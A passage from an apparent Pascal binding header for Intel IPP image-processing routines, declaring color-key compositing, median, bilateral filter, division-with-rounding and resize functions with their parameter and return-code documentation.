function ippiCompColorKey_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp16u ): IppStatus; _ippapi
function ippiCompColorKey_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp16u_3 ): IppStatus; _ippapi
function ippiCompColorKey_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp16u_4 ): IppStatus; _ippapi
function ippiCompColorKey_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp16s ): IppStatus; _ippapi
function ippiCompColorKey_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp16s_3 ): IppStatus; _ippapi
function ippiCompColorKey_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorkey : Ipp16s_4 ): IppStatus; _ippapi
function ippiAlphaCompColorKey_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp8u_4 ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Median filter function
----------------------------------------------------------------------------
Name:
ippiMedian_8u_P3C1R
Purpose:
Median of three images.
For each pixel (x, y) in the ROI:
pDst[x + y*dstStep] = MEDIAN(pSrc[0][x + y*srcStep],
pSrc[1][x + y*srcStep],
pSrc[2][x + y*srcStep]);
Parameters:
pSrc Pointer to three source images.
srcStep Step in bytes through source images.
pDst Pointer to the destination image.
dstStep Step in bytes through the destination image buffer.
size Size of the ROI in pixels.
Returns:
ippStsNoErr Indicates no error. Any other value indicates an error or a warning.
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL.
ippStsSizeErr Indicates an error condition if size has a field with zero or negative value.
}
function ippiMedian_8u_P3C1R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; size : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
De-interlacing filter function
----------------------------------------------------------------------------
Name: ippiDeinterlaceFilterCAVT_8u_C1R
Purpose: Performs de-interlacing of two-field image
using content adaptive vertical temporal (CAVT) filtering
Parameters:
pSrc pointer to the source image (frame)
srcStep step of the source pointer in bytes
pDst pointer to the destination image (frame)
dstStep step of the destination pointer in bytes
threshold threshold level value
roiSize size of the source and destination ROI
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL
ippStsSizeErr width of roi is less or equal zero or
height of roi is less 8 or odd
}
function ippiDeinterlaceFilterCAVT_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; threshold : Ipp16u ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Bilateral filter function
}
{ ----------------------------------------------------------------------------
Bilateral filter functions with Border
----------------------------------------------------------------------------
Name: ippiFilterBilateralBorderGetBufferSize
Purpose: to define buffer size for bilateral filter
Parameters:
filter Type of bilateral filter. Possible value is ippiFilterBilateralGauss.
dstRoiSize Roi size (in pixels) of destination image what will be applied
for processing.
radius Radius of circular neighborhood what defines pixels for calculation.
dataType Data type of the source and desination images. Possible values
are and : Ipp8u ipp32f.
numChannels Number of channels in the images. Possible values are 1 and 3.
distMethod The type of method for definition of distance between pixel intensity.
Possible value is ippDistNormL1.
pSpecSize Pointer to the size (in bytes) of the spec.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return:
ippStsNoErr OK
ippStsNullPtrErr any pointer is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsMaskSizeErr radius is less or equal 0
ippStsNotSupportedModeErr filter or distMethod is not supported
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiFilterBilateralBorderGetBufferSize( filter : IppiFilterBilateralType ; dstRoiSize : IppiSize ; radius : Int32 ; dataType : IppDataType ; numChannels : Int32 ; distMethodType : IppiDistanceMethodType ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterBilateralBorderInit
Purpose: initialization of Spec for bilateral filter with border
Parameters:
filter Type of bilateral filter. Possible value is ippiFilterBilateralGauss.
dstRoiSize Roi size (in pixels) of destination image what will be applied
for processing.
radius Radius of circular neighborhood what defines pixels for calculation.
dataType Data type of the source and desination images. Possible values
are and : Ipp8u ipp32f.
numChannels Number of channels in the images. Possible values are 1 and 3.
distMethodType The type of method for definition of distance beetween pixel intensity.
Possible value is ippDistNormL1.
valSquareSigma square of Sigma for factor function for pixel intensity
posSquareSigma square of Sigma for factor function for pixel position
pSpec pointer to Spec
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer ro Spec is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsMaskSizeErr radius is less or equal 0
ippStsNotSupportedModeErr filter or distMethod is not supported
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
ippStsBadArgErr valSquareSigma or posSquareSigma is less or equal 0
}
function ippiFilterBilateralBorderInit( filter : IppiFilterBilateralType ; dstRoiSize : IppiSize ; radius : Int32 ; dataType : IppDataType ; numChannels : Int32 ; distMethod : IppiDistanceMethodType ; valSquareSigma : Ipp32f ; posSquareSigma : Ipp32f ; pSpec : IppiFilterBilateralSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterBilateralBorder_8u_C1R
ippiFilterBilateralBorder_8u_C3R
ippiFilterBilateralBorder_32f_C1R
ippiFilterBilateralBorder_32f_C3R
Purpose: bilateral filter
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
dstRoiSize Size of the destination ROI
borderType Type of border.
borderValue Pointer to constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type. If this pointer is NULL than the constant value is equal 0.
pSpec Pointer to filter spec
pBuffer Pointer ro work buffer
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to Src, Dst, Spec or Buffer is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsContextMatchErr filter Spec is not match
ippStsNotEvenStepErr Indicated an error when one of the step values is not divisible by 4
for floating-point images.
ippStsBorderErr Indicates an error when borderType has illegal value.
}
function ippiFilterBilateralBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiFilterBilateralSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBilateralBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiFilterBilateralSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBilateralBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; borderType : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiFilterBilateralSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBilateralBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; borderType : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiFilterBilateralSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterGetBufSize_64f_C1R
Purpose: Get size of temporal buffer
Parameters:
kernelSize Size of the rectangular kernel in pixels.
roiWidth Width of ROI
pSize Pointer to the size of work buffer
Returns:
ippStsNoErr Ok
ippStsNullPtrErr pSize is NULL
ippStsSizeErr Some size of kernelSize or roiWidth less or equal zero
Remark: Function may return zero size of buffer.
}
function ippiFilterGetBufSize_64f_C1R( kernelSize : IppiSize ; roiWidth : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilter_64f_C1R
Purpose: Filters an image using a general float rectangular kernel
Parameters:
pSrc Pointer to the source buffer
srcStep Step in bytes through the source image buffer
pDst Pointer to the destination buffer
dstStep Step in bytes through the destination image buffer
dstRoiSize Size of the source and destination ROI in pixels
pKernel Pointer to the kernel values ( 64f kernel )
kernelSize Size of the rectangular kernel in pixels.
anchor Anchor cell specifying the rectangular kernel alignment
with respect to the position of the input pixel
pBuffer Pointer to work buffer
Returns:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to pSrc, pDst or pKernel are NULL or
pBuffer is null but GetBufSize returned non zero size
ippStsSizeErr Some size of dstRoiSize or kernalSize less or equal zero
ippStsStepErr srcStep is less than (roiWidth + kernelWidth - 1) * sizeof(Ipp64f) or
dstStep is less than roiWidth * sizeof(Ipp64f)
}
function ippiFilter_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pKernel : Ipp64fPtr ; kernelSize : IppiSize ; anchor : IppiPoint ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Purpose: Divides pixel values of an image by pixel values of
another image with three rounding modes (ippRndZero,ippRndNear,ippRndFinancial)
and places the scaled results in a destination
image.
Name: ippiDiv_Round_16s_C1RSfs, ippiDiv_Round_8u_C1RSfs, ippiDiv_Round_16u_C1RSfs,
ippiDiv_Round_16s_C3RSfs, ippiDiv_Round_8u_C3RSfs, ippiDiv_Round_16u_C3RSfs,
ippiDiv_Round_16s_C4RSfs, ippiDiv_Round_8u_C4RSfs, ippiDiv_Round_16u_C4RSfs,
ippiDiv_Round_16s_AC4RSfs, ippiDiv_Round_8u_AC4RSfs, ippiDiv_Round_16u_AC4RSfs,
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value is zero, the function
execution is continued.
If a dividend is equal to zero, then the result is zero;
if it is greater than zero, then the result is IPP_MAX_16S, or IPP_MAX_8U, or IPP_MAX_16U
if it is less than zero (for 16s), then the result is IPP_MIN_16S
ippStsRoundModeNotSupportedErr Unsupported round mode
Parameters:
pSrc1 Pointer to the divisor source image
src1Step Step through the divisor source image
pSrc2 Pointer to the dividend source image
src2Step Step through the dividend source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
rndMode Rounding mode (ippRndZero, ippRndNear or ippRndFinancial)
scaleFactor Scale factor
}
function ippiDiv_Round_16s_C1RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_C3RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_C4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_AC4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C1RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C3RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_AC4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C1RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C3RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_AC4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
{
Purpose: Divides pixel values of an image by pixel values of
another image with three rounding modes (ippRndZero,ippRndNear,ippRndFinancial)
and places the scaled results in a destination
image.
Name: ippiDiv_Round_16s_C1IRSfs, ippiDiv_Round_8u_C1IRSfs, ippiDiv_Round_16u_C1IRSfs,
ippiDiv_Round_16s_C3IRSfs, ippiDiv_Round_8u_C3IRSfs, ippiDiv_Round_16u_C3IRSfs,
ippiDiv_Round_16s_C4IRSfs, ippiDiv_Round_8u_C4IRSfs, ippiDiv_Round_16u_C4IRSfs,
ippiDiv_Round_16s_AC4IRSfs, ippiDiv_Round_8u_AC4IRSfs, ippiDiv_Round_16u_AC4IRSfs,
Parameters:
pSrc Pointer to the divisor source image
srcStep Step through the divisor source image
pSrcDst Pointer to the dividend source/destination image
srcDstStep Step through the dividend source/destination image
roiSize Size of the ROI
rndMode Rounding mode (ippRndZero, ippRndNear or ippRndFinancial)
scaleFactor Scale factor
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value is zero, the function
execution is continued.
If a dividend is equal to zero, then the result is zero;
if it is greater than zero, then the result is IPP_MAX_16S, or IPP_MAX_8U, or IPP_MAX_16U
if it is less than zero (for 16s), then the result is IPP_MIN_16S
ippStsRoundModeNotSupportedErr Unsupported round mode
}
function ippiDiv_Round_16s_C1IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_C3IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_C4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16s_AC4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C1IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C3IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_C4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_8u_AC4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C1IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C3IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_C4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_Round_16u_AC4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; rndMode : IppRoundMode ; ScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Resize Transform Functions
------------------------------------------------------------------------------
Name: ippiResizeGetSize
Purpose: Computes the size of Spec structure and temporal buffer for Resize transform
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
interpolation Interpolation method
antialiasing Supported values: 1- resizing with antialiasing, 0 - resizing without antialiasing
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if the source image size is less than a filter size of the chosen
interpolation method (except ippSuper),
- if one of the specified dimensions of the source image is less than
the corresponding dimension of the destination image (for ippSuper method only),
- if width or height of the source or destination image is negative,
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of the one of the processed images is too large).
- if width or height of the source or destination image is negative.
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNoAntialiasing Indicates a warning if specified interpolation does not support antialiasing
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
Notes:
1. Supported interpolation methods are ippNearest, ippLinear, ippCubic, ippLanczos and ippSuper.
2. If antialiasing value is equal to 1, use the ippResizeAntialiasing<Filter>Init functions, otherwise, use ippResize<Filter>Init
3. The implemented interpolation algorithms have the following filter sizes: Nearest Neighbor 1x1,
Linear 2x2, Cubic 4x4, 2-lobed Lanczos 4x4.
}
function ippiResizeGetSize_8u( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetSize_16u( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetSize_16s( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; var pSpecSize : Int32 ; pInitBufSize : Ipp32sPtr ): IppStatus; _ippapi
function ippiResizeGetSize_32f( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetSize_64f( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeGetBufferSize
Purpose: Computes the size of external buffer for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstSize Size of the output image (in pixels)
numChannels Number of channels, possible values are 1 or 3 or 4
pBufSize Pointer to the size (in bytes) of the external buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNumChannelErr Indicates an error if numChannels has illegal value
ippStsSizeErr Indicates an error condition in the following cases:
- if width or height of the source image is negative,
- if the calculated buffer size exceeds maximum 32 bit signed integer
positive value (the processed image ROIs are too large ).
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
}
function ippiResizeGetBufferSize_8u( pSpec : IppiResizeSpec_32fPtr ; dstSize : IppiSize ; numChannels : Ipp32u ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetBufferSize_16u( pSpec : IppiResizeSpec_32fPtr ; dstSize : IppiSize ; numChannels : Ipp32u ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetBufferSize_16s( pSpec : IppiResizeSpec_32fPtr ; dstSize : IppiSize ; numChannels : Ipp32u ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetBufferSize_32f( pSpec : IppiResizeSpec_32fPtr ; dstSize : IppiSize ; numChannels : Ipp32u ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiResizeGetBufferSize_64f( pSpec : IppiResizeSpec_64fPtr ; dstSize : IppiSize ; numChannels : Ipp32u ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeGetBorderSize
Purpose: Computes the size of possible borders for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
borderSize Size of necessary borders (for memory allocation)
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
}
function ippiResizeGetBorderSize_8u( pSpec : IppiResizeSpec_32fPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
function ippiResizeGetBorderSize_16u( pSpec : IppiResizeSpec_32fPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
function ippiResizeGetBorderSize_16s( pSpec : IppiResizeSpec_32fPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
function ippiResizeGetBorderSize_32f( pSpec : IppiResizeSpec_32fPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
function ippiResizeGetBorderSize_64f( pSpec : IppiResizeSpec_64fPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeGetSrcOffset
Purpose: Computes the offset of input image for Resize transform by tile processing
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstOffset Offset of the tiled destination image respective
to the destination image origin
srcOffset Pointer to the offset of input image
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside the
destination image origin
}
function ippiResizeGetSrcOffset_8u( pSpec : IppiResizeSpec_32fPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
function ippiResizeGetSrcOffset_16u( pSpec : IppiResizeSpec_32fPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
function ippiResizeGetSrcOffset_16s( pSpec : IppiResizeSpec_32fPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
function ippiResizeGetSrcOffset_32f( pSpec : IppiResizeSpec_32fPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
function ippiResizeGetSrcOffset_64f( pSpec : IppiResizeSpec_64fPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeGetSrcRoi
Purpose: Computes the ROI of input image
for Resize transform by tile processing
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstRoiOffset Offset of the destination image ROI
dstRoiSize Size of the ROI of destination image
srcRoiOffset Pointer to the offset of source image ROI
srcRoiSize Pointer to the ROI size of source image
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside
the destination image origin
IppStsSizeWrn Indicates a warning if the destination ROI exceeds with
the destination image origin
}
function ippiResizeGetSrcRoi_8u( pSpec : IppiResizeSpec_32fPtr ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; srcRoiOffset : IppiPointPtr ; srcRoiSize : IppiSizePtr ): IppStatus; _ippapi
function ippiResizeGetSrcRoi_16u( pSpec : IppiResizeSpec_32fPtr ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; srcRoiOffset : IppiPointPtr ; srcRoiSize : IppiSizePtr ): IppStatus; _ippapi
function ippiResizeGetSrcRoi_16s( pSpec : IppiResizeSpec_32fPtr ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; srcRoiOffset : IppiPointPtr ; srcRoiSize : IppiSizePtr ): IppStatus; _ippapi
function ippiResizeGetSrcRoi_32f( pSpec : IppiResizeSpec_32fPtr ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; srcRoiOffset : IppiPointPtr ; srcRoiSize : IppiSizePtr ): IppStatus; _ippapi
function ippiResizeGetSrcRoi_64f( pSpec : IppiResizeSpec_64fPtr ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; srcRoiOffset : IppiPointPtr ; srcRoiSize : IppiSizePtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeNearestInit
ippiResizeLinearInit
ippiResizeCubicInit
ippiResizeLanczosInit
ippiResizeSuperInit
Purpose: Initializes the Spec structure for the Resize transform
by different interpolation methods
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
valueB The first parameter (B) for specifying Cubic filters
valueC The second parameter (C) for specifying Cubic filters
numLobes The parameter for specifying Lanczos (2 or 3) or Hahn (3 or 4) filters
pInitBuf Pointer to the temporal buffer for several filter initialization
pSpec Pointer to the Spec structure for resize filter
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is negative,
- if the source image size is less than a filter size of the chosen
interpolation method (except ippiResizeSuperInit).
- if one of the specified dimensions of the source image is less than
the corresponding dimension of the destination image
(for ippiResizeSuperInit only).
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
